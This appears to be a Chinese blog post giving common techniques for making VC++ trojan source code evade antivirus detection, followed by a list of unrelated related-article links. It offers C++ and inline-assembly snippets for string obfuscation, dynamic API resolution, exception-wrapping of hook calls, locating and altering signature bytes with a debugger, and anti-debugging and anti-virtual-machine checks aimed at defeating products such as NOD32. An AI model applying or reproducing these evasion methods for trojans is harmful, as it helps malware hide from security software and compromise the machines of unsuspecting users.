• vc++木马源码免杀一些常用方法


    1.字符串连接

    //////////////////////////////////////////////////////////
    //把字符串"canxin"连接起来(字符串连接法)

    char *str1="can", *str2="xin",*str3=NULL;
    str3=new char[strlen(str1)+strlen(str2)+1];
    strcpy(str3,str1);//把str1所指由NULL结束的字符串复制到str3所指的数组中
    strcat(str3,str2);//把str2所指字符串添加到str3结尾处(覆盖dest结尾处的'')并添加''

    //这样就实现了str3=str1+str2,把str1和str2连接起来了
    //////////////////////////////////////////////////////////

    2.字符串隐藏

    char XXX[] = {'c','a','n','x','i','n',''};

     

    3.动态调用

    ***************定义*******************
    HANDLE
    WINAPI
    CreateToolhelp32Snapshot(
    DWORD dwFlags,
    DWORD th32ProcessID
    );
    ***************列子*******************
    typedef HANDLE (WINAPI *CreateToolhelp32SnapshotT)
    (
    DWORD dwFlags,
    DWORD th32ProcessID
    );
    CreateToolhelp32SnapshotT pCreateToolhelp32Snapshot= (CreateToolhelp32SnapshotT)GetProcAddress(LoadLibrary("KERNEL32.dll"),"CreateToolhelp32Snapshot");

    4.异常try catch


    //////////////////////////列子//////////////////////////

    UnhookWindowsHookEx(m_pTShared->hGetMsgHook);



    //////////////////////////列子//////////////////////////

    -------------------------生成后-------------------------

    char canxin=1;
    try
    {
    if(canxin=1)throw 31;
    }
    catch (...)
    {
    UnhookWindowsHookEx(m_pTShared->hGetMsgHook);
    }


    -------------------------生成后-------------------------

    下面谈一下常见的问题 ,比如说BD  云本地,等等常见定位 错误 以及常见解决方法。比如说常见定位BD ,一次生成 ,查杀, 生成20块,查杀20块,大家有可能误解 定位错误 死循环。 其实非也,可以继续定位继续二次  。知道定位2大小,不杀为止,找到特征地址在OD里的位置,进行上下探查,有没有调用或者字符串的形式 ,然后再继续 搜索关键  在源码里的位置。进行分析特征 ,找到那句源代码 在上面进行加花 等处理 。还有一种可能性,无法定位到 真正的特征位置。 可以通过调试 。比如说 我个人常用的一句代码加在main函数头下,

     HKEY ck;
    char
    strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''}; if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck)) { return 0; } ”




    反调试:

       

     HKEY ck;
    char strreg[] = {'S','O','F','T','W','A','R','E','\','O','D','B','C',''};
    if(ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,(LPCTSTR)strreg,0,KEY_ALL_ACCESS,&ck))
    {
      return 0;
    }
    
    bool IsVirtualPC()//反nod32查杀
    {
    __try
    {
      __asm
      {
       mov eax, 1
        _emit 0x0F
        _emit 0x3F
        _emit 0x07
        _emit 0x0B
        _emit 0xC7
        _emit 0x45
        _emit 0xFC
        _emit 0xFF
        _emit 0xFF
        _emit 0xFF
        _emit 0xFF
      }
    }
    __except(1)
    {
      return FALSE;
    }
    return TRUE;
    }
    
    
    
    if(IsVirtualPC())
    {
      return 0;
    }
    
    _asm push esi;
    _asm mov esi,46;
    _asm inc esi;
    _asm mov eax,dword ptr fs:[esi+1];
    _asm mov eax,dword ptr ds:[eax+24];
    _asm mov eax,dword ptr ds:[eax+12];
    _asm cmp eax,2;
    _asm pop esi;
    _asm je Begin;
    _asm lock dec ebx;
    Begin:
    
    HKEY dd;
    char sof1[]={'S','O','F','T','W','A','R','E','\','C','l','a','s','s','e','s','\','.','3','8','6','\',''};
    if (ERROR_SUCCESS!=RegOpenKeyEx(HKEY_LOCAL_MACHINE,sof1,0,KEY_ALL_ACCESS,&dd))
    {
      __asm nop;
      __asm nop;
      return -1;
    }
  • 相关阅读:
    SQL语句字符串处理大全
    iframe的属性
    The GridView 'gv ' fired event RowEditing which wasn 't handled.
    parttime job
    一个女孩如何准备行装和安全的独自旅行
    DORADO展现中间件的实现
    在asp.net 2.0中使用自定义的provider (转)
    MemberShip 的使用介绍(转)
    DBHelper
    jQuery学习——介绍演示网站
  • 原文地址:https://www.cnblogs.com/-qing-/p/10809299.html
Copyright © 2020-2023  润新知